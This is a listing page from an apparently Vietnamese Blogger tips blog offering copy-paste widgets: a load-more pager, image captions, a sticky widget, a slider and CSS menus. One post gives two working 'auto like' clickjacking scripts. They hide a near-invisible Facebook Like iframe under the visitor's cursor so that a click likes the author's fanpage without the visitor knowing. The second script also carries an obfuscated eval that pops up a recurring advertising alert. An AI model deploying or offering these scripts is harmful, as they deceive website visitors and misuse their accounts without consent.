Showing posts with label thu-thuat-blogger. Show all posts
Showing posts with label thu-thuat-blogger. Show all posts

10/24/13

Phân trang xem thêm "Load More Posts" cho Blogspot

Một số bạn có email yêu cầu về thủ thuật thêm phân trang dạng "Xem thêm....còn nhiều lắm" như Blog hình ảnh đẹp hoặc "Load More Posts" của blog Wallpapers HD
Với thủ thuật này nó thay cho phân trang dạng 1|2|3|...ở trang chủ và trang Label của blogspot.
Phân trang xem thêm "Load More Posts" cho Blogspot
Phân trang xem thêm "Load More Posts" cho Blogspot
Demo: Hình ảnh đẹp Blog
Cách làm thủ thuật này như sau
1. Vào bảng điều khiển Blogger -> Bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascrip
Lưu ý, cho tiện ích ngay dưới tiện ích POSTS nhé
Phân trang xem thêm "Load More Posts" cho Blogspot
Phân trang xem thêm "Load More Posts" cho Blogspot
2. Dán code dưới đây vào tiện ích vừa thêm

<script type='text/javascript' src='//ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js'></script>
<script type='text/javascript'>
(function(a){function h(){g||(g=!0,d?(b.find("a").hide(),b.find("img").show(),a.ajax(d,{dataType:"html"}).done(function(c){var c=a("<div></div>").append(c.replace(j,"")),e=c.find("a.blog-pager-older-link");e?d=e.attr("href"):(d="",b.hide());c=c.find(i).children();a(i).append(c);window._gaq&&window._gaq.push(["_trackPageview",d]);window.gapi&&window.gapi.plusone&&window.gapi.plusone.go&&window.gapi.plusone.go();window.disqus_shortname&&a.getScript("http://"+window.disqus_shortname+".disqus.com/blogger_index.js");
window.FB&&window.FB.XFBML&&window.FB.XFBML.parse&&window.FB.XFBML.parse();b.find("img").hide();b.find("a").show();g=!1})):b.hide())}function k(){var a=Math.max(f.height(),l.height(),document.documentElement.clientHeight),b=f.scrollTop()+f.height();0>a-b&&h()}var d="",b=null,i="div.blog-posts",g=!1,f=a(window),l=a(document),j=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;a(document).ready(function(){if("item"!=_WidgetManager._GetAllData().blog.pageType&&(d=a("a.blog-pager-older-link").attr("href"))){var c=
a('<a href="javascript:;" >Xem thêm...còn nhiều lắm</a>');c.click(h);var e=a('<img src="https://raw.github.com/techirsh/infinite-scroll-css-styles/master/images/fb-style-loader.gif" style="display: none;">');f.scroll(k);b=a('<div class="techirshloader"></div>');b.append(c);b.append(e);b.insertBefore(a("#blog-pager"));a("#blog-pager").hide()}})})(jQuery);
</script>
<style>
.techirshloader a{text-decoration:none;display:block;width:100%;color:#3772AB;}
.techirshloader{font-family:arial, helvetica, sans-serif; padding: 8px 8px 8px 8px; font-weight:bold; text-align: center; color: #3772AB; font-size: 24px;}
.techirshloader a:hover{color: #000000;}
</style>

- Chữ bôi vàng bạn thay đổi theo câu của bạn nhé
Lưu lại và xem kết quả !

10/23/13

Chú thích lên hình ảnh sử dụng Code CSS làm hiệu ứng

Khi xem 1 số trang Web bạn vẫn thấy những hiệu ứng rê ảnh khá đẹp, nhưng tiện dụng hơn là nó làm cho mình thấy những mô tả kèm theo hình ảnh đó nữa. Với bài viết này, itviet360 chia sẻ với bạn Code và cách làm thêm chú thích lên hình ảnh sử dụng Code CSS làm hiệu ứng trên Blogger. Với Website khác các bạn dán code tương tự
Chú thích lên hình ảnh sử dụng Code CSS làm hiệu ứng
Chú thích lên hình ảnh sử dụng Code CSS làm hiệu ứng
DEMO
Code:

<style>

#bt_imageeffect {

margin: 20px auto;

width: 100%;min-height: 300px; padding: 20px 0;

text-align: center;

}

.galleryItem {

display: inline-block;;

position: relative;

width: 250px; height: 250px;

padding: 0;margin: 0 20px;

border: solid 10px #fff;



-webkit-box-shadow: 0px 0px 5px 0px rgba(0, 0, 0, 0.25);

box-shadow: 0px 0px 5px 0px rgba(0, 0, 0, 0.25);

}

.galleryItem img {

width: 250px;height: 250px;

}

.caption {

position: relative;

display: inline-block;

width: 250px; height: 250px;

z-index: 10;

}

.caption::before {

content: attr(data-title);

position: absolute;top: 0; left: 0;

width: 250px; height: 0;

font-family: 'Croissant One', cursive;

font-size: 1.8em;font-weight: 600;

line-height: 1.4em;color: #086FA1;

background: #fff;

overflow: hidden;

-webkit-transition: all 0.9s ease;

-moz-transition: all 0.9s ease;

-ms-transition: all 0.9s ease;

-o-transition: all 0.9s ease;

transition: all 0.9s ease;

}

.caption::after {

content: attr(data-description);

position: absolute;

bottom: -0;left: 0;

width: 250px;height: 0;

font-family: 'Poiret One', cursive;

font-size: 1.1em;

font-weight: 400;

line-height: 1.4em;color: #fff;

background: #222;

overflow: hidden;



-webkit-transition: all 0.9s ease;

-moz-transition: all 0.9s ease;

-ms-transition: all 0.9s ease;

-o-transition: all 0.9s ease;

transition: all 0.9s ease;

}

.caption:hover::before {

height: 125px;

}

.caption:hover::after {

bottom: 0;height: 125px;

}

</style>



<br />
<div id="bt_imageeffect">
<br />
<li class="galleryItem">

<a class="caption" data-description="itviet360.com chia sẻ thủ thuật blogspot, Tự học SEO Web, kiến thức mạng máy tính...và những gì về cuộc sống" data-title="Nature Scene" href="http://www.itviet360.com/">

<img alt="Nature Scene" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixtRNX_GfhZUBKVX7q5HPVRgTQC99YJ8mVFFPQPFOclUSM-TF7kW9D4YhL9P9BpBCIsQ_2EBVHNIKtcK7WTxq4qRSYcqlbDmyUObV7cPpOKY6p6yQR39CNM8XWUWJ_OMYuzEBNWINPhZM/s1600/Green+Nature+Wallpapers.jpg" />

</a></li>
<li class="galleryItem">

<a class="caption" data-description="Blog hình ảnh đẹp chia sẻ những hình ảnh đẹp và ý nghĩa nhất. Cùng nhau chia sẻ và cảm nhận những hình ảnh đẹp tổng hợp" data-title="SunFlower" href="http://anhdep3.blogspot.com/">

<img alt="Sunflower" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNDomBqEWmzItjM1EiGDd-ctzPrNM9qo7PNlmwKEhUZhL1hlMqYpMwEu43BZ4SoqjLXEXKE4UmXqqL6jOdUWlD_yGay06DLqqROq7R3iLdcblwEMOtgCyS7VH37ggwYfgUKcTl4Tdk_UE/s1600/nature_3.png" />

</a></li>
</div>


- Trong đó:
Những dòng chữ mô tả bôi đỏ.
- Cách làm thủ thuật trên blogspot
1. Vào bảng điều khiển Blogger -> Bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascript
2. Dán code trên vào tiện ích vừa thêm :)
3. Lưu lại và xem kết quả.

10/21/13

Code auto like Facebook khi click chuột vào vị trí bất kỳ cho web, blogspot

Hiện nay bạn thấy khá nhiều trang trên face có số lượng like rất lớn nhưng thực tế có phải đó là con số thực hay không, Câu trả lời đa số là không. Rất nhiều người đã dùng mẹo để người dùng trở thành viên của họ mà đến người dùng nếu không để ý cũng không hề hay biết chuyện đó. Và chính bản thân mình nhiều lúc cũng thấy lạ là tại sao mình không hề like trang đó mà trên timeline lại nói mình thích trang đó.
Qua tìm hiển, đã phát hiện ra họ đang sử dụng một phương thức đó là dùng script auto like để khiến người đùng like trang fanpage mà không hề hay biết. Mình giới thiệu nhưng nó không đồng nghĩa với việc mình khuyến khích các bạn sử dung cách này vì sau đó nếu họ bấm unlike thì sẽ mất hình ảnh của bạn đó.
Bài viết này mình sẽ giới thiệu với các bạn 2 style khác nhau để các bạn lựa chọn cho thích hợp với sở thích của chính các bạn, Mỗi dạng sẽ có một ưu điểm khác nhau bạn có thể tham khảo ở bên dươi:



Style 1: Bấm lần một sẽ là like và bấm tiếp lần 2 sẽ là unlike
Style 2: Bấm lần một sẽ là like và bấm tiếp lần 2 sẽ không bị unlike

» Nguyên tắc hoạt động của Auto like Facebook khi click chuột vào vị trí bất kỳ cho blogspot
- Cách tăng này thành công 100%, không hack, ko lừa gạt và thường áp dụng cho những website blog có lượt truy cập lớn (cách này tăng like rất nhanh và hiệu quả)

- Cách tăng like fanpage này dựa chủ yếu vào việc tạo ra 1 nút Like Fanpage. Nút Like này sẽ được chèn vào website của bạn dưới dạng “ẩn” (tức là người dùng không nhìn thấy). Sau đó nút Like này sẽ được cấu hình để “chạy” theo con trỏ chuột (tất nhiên là chạy ẩn để người dùng không nhìn thấy, không gây khó chịu).

- Khi người dùng vào website, click phát đầu tiên vào bất cứ mục nào trên website của bạn, thì vô hình họ đã click Like Fanpage do bạn đặt vào website của mình.
» Style 1: Kết hợp cả lile và dislike tự động cho facebook
Với style này khi bạn click chuột lần đầu sẽ là like nhưng nếu bạn tiếp tục bấm chuột lần nữa thì nó sẽ là dislike, Điều này đồng nghĩa với việc hên xui kiểu 50 - 50 có lúc được có lúc không.
1- Vào Bố cục (Layout)
2- Tạo một tiện ích HTML/Javascripts và dán code bên dưới vào:

<script type="text/javascript">
//<![CDATA[
(function(){
var Xcord = 0,
Ycord = 0,
IE = document.all ? true : false;
if (!IE) document.captureEvents(Event.MOUSEMOVE);
var lbox = document.createElement('iframe');
lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://www.facebook.com/itviet360') + '&layout=standard&show_faces=true&width=53&action=lbox&colorscheme=light&height=30';
lbox.scrolling = 'no';
lbox.frameBorder = 0;
lbox.allowTransparency = 'true';
lbox.style.border = 0;
lbox.style.overflow = 'hidden';
lbox.style.cursor = 'pointer';
lbox.style.width = '53px';
lbox.style.height = '23px';
lbox.style.position = 'absolute';
lbox.style.opacity = 0.5;
document.getElementsByTagName('body')[0].appendChild(lbox);
window.addEventListener('mousemove', mouseMove, false);
setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(lbox);
window.removeEventListener('mousemove', mouseMove, false);
}, 10000);
function mouseMove(e) {
if (IE) {
Xcord = event.clientX + document.body.scrollLeft;
Ycord = event.clientY + document.body.scrollTop;
} else {
Xcord = e.pageX;
Ycord = e.pageY;
}
if (Xcord < 0) Xcord = 0;
if (Ycord < 0) Ycord = 0;
lbox.style.top = (Ycord - 8) + 'px';
lbox.style.left = (Xcord - 25) + 'px';
return true
}
})();
//]]>
</script>

» Tùy chỉnh:
Bạn thay http://www.facebook.com/itviet360 thành URL trang face của bạn.
Tùy chỉnh lại các giá trị màu cam cho phù hợp với bạn nha,
3- Lưu tiện ích lại và kiểm tra kết quả của bạn nha.
» Style 2: Tự động like lần đầu và những lần bấm sau không có tác dụng.
Với dạng này Khi người dùng click lần 1 sẽ like Fan của bạn, nhưng nếu họ click thêm lần nữa bị cũng không bị Unlike (giảm nguy cơ mất like)
1- Vào Bố cục (Layout)
2- Tạo một tiện ích HTML/Javascripts và dán code bên dưới vào:

<script>
var fan_page_url = 'https://www.facebook.com/itviet360'
var opacity =0.04;
var time = 45000;
</script>
<script>
if((document.getElementById) && window.addEventListener || window.attachEvent){
(function(){
var hairCol = "#ff0000";

var d = document;
var my = -10;
var mx = -10;
var r;
var vert = "";

var idx = document.getElementsByTagName('div').length;

var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&layout=standard&show_faces=true&width=80&action=like&colorscheme=light&height=30' style='position:absolute;width:53px;height:30px;z-index: 200000;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");'></iframe>";
var like;
var faceLike=getCookie("faceLike");
if (faceLike!=null && faceLike!="")
{
}
else
{
setCookie("faceLike",'liked',1);
document.write(thehairs);
like = document.getElementById("theiframe");
document.getElementsByTagName('body')[0].appendChild(like);
}
eval('\u0073\u0065\u0074\u0049\u006e\u0074\u0065\u0072\u0076\u0061\u006c\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u007b\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0047\u0069\u0061\u0069\u0070\u0068\u0061\u0070\u0074\u0068\u0075\u006f\u006e\u0067\u0068\u0069\u0065\u0075\u002e\u006f\u0072\u0067\u0020\u0063\u0068\u0075\u0079\u00ea\u006e\u0020\u0074\u0072\u0061\u006e\u0067\u0020\u006d\u0061\u0072\u006b\u0065\u0074\u0069\u006e\u0067\u0020\u0077\u0065\u0062\u0073\u0069\u0074\u0065\u0022\u0029\u007d\u002c\u0031\u0038\u0030\u0030\u0030\u0030\u0030\u0030\u0029\u003b');

var pix = "px";
var domWw = (typeof window.innerWidth == "number");
var domSy = (typeof window.pageYOffset == "number");






if (domWw)
r = window;
else{
if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
r = d.documentElement;
else{
if (d.body && typeof d.body.clientWidth == "number")
r = d.body;
}
}


if(time != 0){
setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(like);

if (window.addEventListener){
document.removeEventListener("mousemove",mouse,false);
}
else if (window.attachEvent){
document.detachEvent("onmousemove",mouse);
}
}, time);
}

function scrl(yx){
var y,x;
if (domSy){
y = r.pageYOffset;
x = r.pageXOffset;
}
else{
y = r.scrollTop;
x = r.scrollLeft;
}
return (yx == 0) ? y:x;
}

function mouse(e){
var msy = (domSy)?window.pageYOffset:0;
if (!e)
e = window.event;
if (typeof e.pageY == 'number'){
my = e.pageY - 15 - msy;
mx = e.pageX - 34;
}
else{
my = e.clientY - 16 - msy;
mx = e.clientX - 36;
}
vert.top = my + scrl(0) + pix;
vert.left = mx + pix;
}

function ani(){
vert.top = my + scrl(0) + pix;
setTimeout(ani, 300);
}


function init(){
vert = document.getElementById("theiframe").style;
ani();
}
function getCookie(c_name)
{
var c_value = document.cookie;
var c_start = c_value.indexOf(" " + c_name + "=");
if (c_start == -1)
{
c_start = c_value.indexOf(c_name + "=");
}
if (c_start == -1)
{
c_value = null;
}
else
{
c_start = c_value.indexOf("=", c_start) + 1;
var c_end = c_value.indexOf(";", c_start);
if (c_end == -1)
{
c_end = c_value.length;
}
c_value = unescape(c_value.substring(c_start,c_end));
}
return c_value;
}

function setCookie(c_name,value,exdays)
{
var exdate=new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
document.cookie=c_name + "=" + c_value;
}

function checkCookie()
{
var faceLike=getCookie("faceLike");
if (faceLike!=null && faceLike!="")
{

alert("Welcome again " + faceLike);

}
else
{
setCookie("faceLike",'liked',1);
}
}


if (window.addEventListener){
window.addEventListener("load",init,false);
document.addEventListener("mousemove",mouse,false);
}
else if (window.attachEvent){
window.attachEvent("onload",init);
document.attachEvent("onmousemove",mouse);
}

})();
}//End
</script>

Lưu mẫu lại và kiểm tra thành quả của bạn nha.

10/11/13

Cách ẩn bài viết mới nhất ngoài trang chủ blogspot

Một số tùy chỉnh để bạn không muốn blog của mình mặc định hiển thị bài đăng mới nhất ra ngoài trang chủ.
Vậy làm thế nào để thực hiện được cách ẩn bài viết mới nhất ngoài trang chủ blogspot. Thủ thuật dưới đây sẽ hướng dẫn các bạn che đi bài viết mới nhé
Cách ẩn bài viết mới nhất ngoài trang chủ blogspot
Demo tại blog: tai game avatar mien phi
Đây là thủ thuật đơn giả nên mình sẽ không post hình minh họa kết quả.

Cách ẩn bài viết mới nhất ngoài trang chủ blogspot !

Trước tiên thực hiện bạn phải xác định id của widget "Bài đăng trên blog", thông thường nó đều có id là "Blog1".Với một số blog có thể khác. Các bạn xác định theo các bước bên dưới:

1- Đăng nhập (login) vào Blog
2- Vào Mẫu (Template)
3- Chọn Chỉnh sử HTML (Edit HTML) => Tiếp tục (Proceed): => Tìm đoạn code sau :

<b:widget id="Blog1" locked="true" title="Bài đăng trên Blog" type="Blog">


Sau đó ta vào: Mẫu (template)chỉnh sửa HTML (Edit HTML) và dán code ngay bên dưới sau thẻ </b:skin>

<style>
<b:if cond='data:blog.url == data:blog.homepageUrl'>
#Blog1 {
display:none;
visibility:hidden;
}
</b:if>
</style>


Chú ý phần chữ màu đỏ phải giống nhau .

Thủ thuật tạo Sticky cho nhiều Widget của blogspot

Bạn muốn nhấn mạnh 1 vị trí nào đó của Blog? Bạn muốn khoanh vùng những nội dung cần được chú ý trên blogger của mình?
Tạo Sticky hay còn hiểu là tạo kết dính 1 vị trí khi kéo thanh cuộn trình duyệt lúc mình xem Web hoặc Blog. Bài viết này itviet360 chia sẻ với bạn thủ thuật tạo Sticky cho nhiều Widget của blogspot.
Thủ thuật tạo Sticky cho nhiều Widget của blogspot
Thủ thuật tạo Sticky cho nhiều Widget của blogspot
Demo các bạn xem bài (kéo thanh cuộn xuống để thấy nhé): Những câu nói hay về tình yêu
Các bước thực hiện thủ thuật
1. Xác định ID Widget của Blogger
- Vào bảng điều khiển -> bố cục -> Chỉnh sửa tiện ích mình cần tạo Sticky
Ví dụ ở trên mình xác định được đó là tiện ích HTML4
2. Code Sticky
- Vào mẫu (Template) -> Chỉnh sửa HTML (Edit HTML)
- Tìm tới </body> và dán code dưới đây ngay trên nó

<script>
// Sticky widget by itviet360.com
// Free to use or share, but please keep this notice intact.
//<![CDATA[
bs_makeSticky("HTML4");
function bs_makeSticky(elem) {
var bs_sticky = document.getElementById(elem);
var scrollee = document.createElement("div");
bs_sticky.parentNode.insertBefore(scrollee, bs_sticky);
var width = bs_sticky.offsetWidth;
var iniClass = bs_sticky.className + ' bs_sticky';
window.addEventListener('scroll', bs_sticking, false);
function bs_sticking() {
var rect = scrollee.getBoundingClientRect();
if (rect.top < 0) {
bs_sticky.className = iniClass + ' bs_sticking';
bs_sticky.style.width = width + "px";
} else {
bs_sticky.className = iniClass;
}
}
}
//]]>
</script>

<style>
.bs_sticking {background:#f2f2f2 !important; position:fixed !important; top:0; z-index:9999; box-shadow:0px 10px 4px -5px rgba(0,0,0,0.3); margin-top: 0; position:relative\9 !important;}
</style>

Trong đó:
Thuộc tính Style CSS .bs_sticking  các bạn có thể thay đổi theo ý mình nhé
Chúc các bạn vui vẻ

10/8/13

Jquery Image Slider - Slide ảnh với thanh trượt ngang cho Blogspot

Đối với Slider thì việc sử dụng làm điểm nhấn cho blog, website là điều cần thiết. 1 Slide đẹp và mượt mà luôn được người dùng hướng tới. Bài viết này itviet360 chia sẻ với bạn code và cách làm thêm 1 Jquery Image Slider - Slide ảnh với thanh trượt ngang cho Blogspot cũng như trên website khác
DEMO

- Vào bảng điều khiển Blogger -> Mẫu (Template) -> Chỉnh sửa mẫu (Edit HTML)
- Tìm tới </head>  và dán code dưới đây ngay trên nó

<link href='https://bloggertrixcode.googlecode.com/files/animate.css' rel='stylesheet' type='text/css'/>

<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js'/>

<script src='https://bloggertrixcode.googlecode.com/files/border-slider.js'/>

<script>/****/

jQuery(document).ready(function(){

jQuery('#bloggertrix_slider').animatedSlider({

'loader':true,

'width':900,

'height':300,

'slide_animation_data' :

[//slides

//slide1 BEGIN

[

{

'target_element':'.txt1',

'animation_frame':0,

'animation_type':'tada'

},{

'target_element':'.txt2',

'animation_frame':0.8,

'animation_type':'tada'

}

],//slide1 END



//slide2 BEGIN

[{

'target_element':'img',

'animation_frame':0,

'animation_type':'bounceInUp'

},{

'target_element':'p',

'animation_frame':0.7,

'animation_type':'bounceInUp'

}],//slide2 END

//slide3 BEGIN

[{

'target_element':'img',

'animation_frame':0,

'animation_type':'bounceInUp'

},{

'target_element':'p',

'animation_frame':0.6,

'animation_type':'bounceInUp'

}],//slide3 END



//slide4 BEGIN

[{

'target_element':'img',

'animation_frame':0,

'animation_type':'bounceInUp'

},{

'target_element':'p',

'animation_frame':0.5,

'animation_type':'bounceInUp'

}],//slide4 END

//slide5 BEGIN

[{

'target_element':'img',

'animation_frame':0,

'animation_type':'bounceInUp'

},{

'target_element':'p',

'animation_frame':0.4,

'animation_type':'bounceInUp'

}],//slide5 END



//slide BEGIN

[{

'target_element':'h1',

'animation_frame':0,

'animation_type':'bounceInUp'

},{

'target_element':'p',

'animation_frame':0.3,

'animation_type':'bounceInUp'

}

]//slide END

]});});

</script>

<link href='http://fonts.googleapis.com/css?family=Kavoon' rel='stylesheet' type='text/css'/>

- Tiếp theo tìm tới ]]></b:skin> và dán code dưới đây ngay trên nó

/* The CSS Code for the slider starts here bloggertrix.com

#bloggertrix_slider {margin:0 auto;}

#bloggertrix_slider .slider-contents {overflow:hidden;border:8px solid #DDDDDD;box-shadow:0 0 3px rgba(3,3,3,0.5);}

#bloggertrix_slider .slide-nav {float:left;padding: 0 8px;height: 26px;background: #3a3a3a;}

#bloggertrix_slider .slide-nav a {width: 14px;height: 14px;text-indent: -999px;float: left;list-style: none;display: block;background: #dddddd;margin: 5px 4px;cursor: pointer;}

#bloggertrix_slider .slide-nav a:hover {

background: #27BAFF !important;}

#bloggertrix_slider .progress-bar {width:0px;background-color:#AAAAAA;height:2px;top: -2px;overflow:visible !important;display:block !important;position: relative;}

#bloggertrix_slider .controls {height: 26px;margin: 4px auto 0;display: table;}

#bloggertrix_sliderr .pause-play-control {width: 46px;height: 26px;float: left;background: #3A3A3A;color: #fff;}

#bloggertrix_slider .pause-play-control a {width:9px;height: 19px;display:block;overflow:hidden;text-indent: -9999px;background:url('http://img837.imageshack.us/img837/7647/fqnu.png');cursor: pointer;margin:3px auto 0;}

#bloggertrix_slider .pause-play-control a.play-slide {background-position:-5px -3px;}

#bloggertrix_slider .pause-play-control a.pause-slide {background-position:-29px -3px;}

#bloggertrix_slider .slider-next,#bloggertrix_slider .slider-prev {

width: 46px;height: 46px;background: #3a3a3a;display: block;font-size: 41px;color: #FFF;font-weight: bold;text-align: center;position: absolute;cursor: pointer;text-indent: -999px;overflow: hidden;}

#bloggertrix_slider .slider-next:before,#bloggertrix_slider .slider-prev:before {background: #3a3a3a url('http://img837.imageshack.us/img837/7647/fqnu.png');width:32px;height:32px;position:relative;top:7px;left:7px;content:'';display:block;}

/*#bloggertrix_slider .slider-next {margin: -220px 0 0 681px;}

#bloggertrix_slider .slider-prev {margin: -220px 0 0 4px;}*/

#bloggertrix_slider .slider-next:before {background-position:-5px -31px;}

#bloggertrix_slider .slider-prev:before {background-position:-5px -70px;}

.slide1 img {position:relative;}

.img-logo {margin-left: 150px;}

.img-mobile {margin-top: 45px;}

.img-tablet {margin: -168px 0 0 139px;}

.img-laptop {margin: -186px 0 0 349px;}

.slide1 {background-color: #67b608}

.slide2 {background-color: #03bbd3}

.slide3 {background-color: #cf6b30}

.slide4 {background-color: #f2a87b}

.slide5 {background-color: #388efd}

- Lưu mẫu lại
- Vào bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascript
- Dán code dưới đây vào nó

<div id="bloggertrix_slider">

<div class="slide1">

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwMk2j7Uu10Re3ab8oJUqg85uXz6ww0r_2gP1CwbPlKYRY5hsRtg9TxLkrLb-qAFQmFL7Ht9aHBVWbSIrCrXLYCGTwm2PmwbW6FdOOK-yY-kb-o3yo18sEqGF-fdlFohU_TpH4Gqcpg9c/s1600/bloggertrix1.jpg" />

</div>

<div class="slide2">

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpyR1JnokgeqWeIHUFc8iIBMChdgy2kx2OpEOyxEEnH1Jlb_GrozQFqTr0J2lPCT5j5iCT83NVUXEcbYn2Q714QOjcE9XQ7V3cCfoarAk0dFGFzduyS8pv4prwCSqIvEM2MjpWF7G4n3I/s1600/bloggertrix2.jpg" />

</div>

<div class="slide3">

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgofRg_dyMeCJf2n7PZ6QJQPeOCGEGlpRzFKKl8seVsFDrdxdLzz-sC1s7ny1te93Si9Apn27G4amf6CQcE4C_9i12XxqQeds3v64x5K0rzXByy2Ct-yH8yQ_mH48owvwyxeoke5UnSkto/s1600/bloggertrix3.jpg" />

</div>

<div class="slide4">

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigYE5teAzeHjM1nfZ2d11viywiJNuSpgeHZZFxHuB_aIBHEtYn2kl5mXhpc1tZW5uEpzbHA07S4fv83CGFK_1cuGkxG6Auzd_wVbTPc0o0dHLyWUaR6MinOeOay95uJy2PNh7coV1EWf8/s1600/bloggertrix4.jpg" />

</div>

<div class="slide5">

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPm9kcZb7SDa2hyphenhyphenYf5g2bH_mzOCywfv6Vnl3dbkHD8yTO8ZkUtVlI2LZ3eDTJ47_sKQ3m0-5lowL_83cnP6Yb3UmkW2lgYDsU_QLCbuA4K-f4Ji0wEc1uk3UMcOqIZTDNQfXdI9Nkf6uw/s1600/bloggertrix5.jpg" />

</div>

</div>

- Lưu và xem kết quả :)

10/7/13

Menu CSS3 ngang đẹp: phong cách tối sang trọng cho Web, blog

Menu CSS3 ngang đẹp: phong cách tối sang trọng cho Web, blog
Menu CSS3 ngang đẹp: phong cách tối sang trọng cho Web, blog
Menu CSS3 ngang đẹp: phong cách tối sang trọng cho Web, blog

Menu khá đẹp và sang trọng. Các bạn có thể xem Demo tại đây
itviet360 chia sẻ code và hướng dẫn thủ thuật này trên blogger
1. Code
1.A Code CSS

/* The CSS Code for the menu starts here bloggertrix.com */

#navigation1 { width:900px;height: 45px; background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzf1BBvDu0PoNoGe94jmUOz5ln7LN2cAB9D4lxsVYt6-UxoMTwBwTkWBGaTvM5AZMF80n33QV90w_WVNxdywiUIVt95pruJxL8UIgR2b2wn9wePYV1GMuA29s3xMCdx1K6BXdTN1-LtD8/s1600/nav-bg.gif) repeat-x 0 0;
border:inherit 2px #000000;
-moz-border-radius-topleft: 10px;-moz-border-radius-topright:10px;-moz-border-radius-bottomleft:10px;-moz-border-radius-bottomright:10px;-webkit-border-top-left-radius:10px;-webkit-border-top-right-radius:10px;-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;
border-top-left-radius:10px;border-top-right-radius:10px;border-bottom-left-radius:10px;border-bottom-right-radius:10px; }
#navigation1 ul { list-style: none outside; padding: 8px 0 0 8px; }
#navigation1 li { float: left; display: inline; height: 29px; line-height: 29px; text-transform: uppercase; margin-right: 3px }
#navigation1 li.last { margin-right: 0; }
#navigation1 li a,
#navigation1 li a span { float: left; display: inline; height: 29px; padding-left: 10px; background-position: 0 0; color: #919191; }
#navigation1 li a span { padding-left: 0; padding-right: 10px; background-position: right 0; }
#navigation1 ul.sf-menu li a:hover,
#navigation1 ul.sf-menu li a:hover span { background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglrL3nyVyU11HUDE3tQ3VxhB78l75jbIGgcVRVfcusytU4EBoogfovQ3Ah6PigRZgqsvnKODQ91fqduZ8_enp3n5fPnkomYdyztztcmsFlMuZymGaeNqZt7oeA6hx9nMaxr_VQOH2iHnw/s1600/bt_nav_hover.png); text-decoration: none; color: #fff; }
#navigation1 li a.clicked,
#navigation1 li a.clicked span { background-position: 0 bottom }
#navigation1 li a.clicked span { background-position: right bottom; }

1.B Code HTML

<div id="navigation1">
<ul class="sf-menu sf-js-enabled sf-shadow">
<li class="cat-item cat-item-29"><a title="Home" href="http://itviet360.com"><span>HOME</span></a></li>
<li class="cat-item cat-item-29"><a href="http://diendan.itviet360.com/" title="Diễn đàn"><span>Diễn đàn</span></a></li>
<li class="cat-item cat-item-31"><a href="http://www.itviet360.com/search/label/Kien-thuc" title="Kiến thức"><span>Kiến thức</span></a></li>
<li class="cat-item cat-item-18"><a href="http://www.itviet360.com/search/label/thu-thuat" title="thủ thuật"><span>Thủ thuật</span></a> </li>
<li class="cat-item cat-item-1"> <a href="http://www.itviet360.com/search/label/Download" title="Download"><span>Download</span></a></li>
<li class="cat-item cat-item-30"><a href="http://www.itviet360.com/search/label/Network" title="Netword"><span>Network</span></a></li>
<li class="cat-item cat-item-30"><a href="http://www.itviet360.com/search/label/SEO" title="SEO"><span>SEO</span></a></li>
<li class="cat-item cat-item-30"><a href="http://www.itviet360.com/search/label/cuoc%20song" title="SEO"><span>Cuộc sống</span></a></li>
<li class="cat-item cat-item-30"><a href="http://www.itviet360.com/search/label/Goc-thu-gian" title="Góc thư giãn"><span>Thư giãn</span></a></li>
</ul></div>

Trong đó:
2. Cách làm trên Blogger (Nền Website khác các bạn làm tương tự nhé)
- Vào bảng điều khiển Blogger -> Mẫu (Template) -> Chỉnh sửa mẫu (Edit HTML)
- Tìm tới ]]></b:skin> và dán code CSS ngay trên nó và lưu mẫu lại
- Vào bố cục (Layout) -> thêm tiện ích (Add a Widget) -> HTML/CSS
- Dán code HTML vào tiện ích vừa thêm và lưu lại xem kết quả :)

10/4/13

Code Css Icon thay đổi khi rê chuột vào trên Blogspot, Website

Một dạng Code sử dụng làm menu cho Blog, Website khá đẹp và sinh động đang được người dùng Blog, Web hướng tới đó là kiểu mẫu hiệu ứng động khi rê chuột vào. Chỉ với việc sử dụng code CSS + HTML nên sẽ không ảnh hưởng tới tốc độ Load của Web, blog của bạn
Code Css Icon thay đổi khi rê chuột vào trên Blogspot, Website
DEMO
Để dễ dàng hơn. itviet360 chia sẻ code và hướng dẫn cách làm trên Blogger
1. Code
CSS

/* The CSS Code for the menu starts here bloggertrix.com */
#btrix-nav {margin: 100px auto;list-style: none;width: 632px;height: 87px;overflow-y: hidden;}
#btrix-nav li {float: left;}
#btrix-nav li a {display: block;color: white;width: 120px;height: 61px;margin-top: 24px;text-decoration: none;text-align: center;border-top: 1px solid #bbb;border-bottom: 1px solid #555;}
#btrix-nav li a span.aname {font: bold 17px/61px "Arial";color: #fff;text-transform: uppercase;cursor: pointer;position: relative;top: 0;transition: top .5s ease;text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.5);}
#btrix-nav li a img {position: relative;top: 0;transition: top .5s ease;}
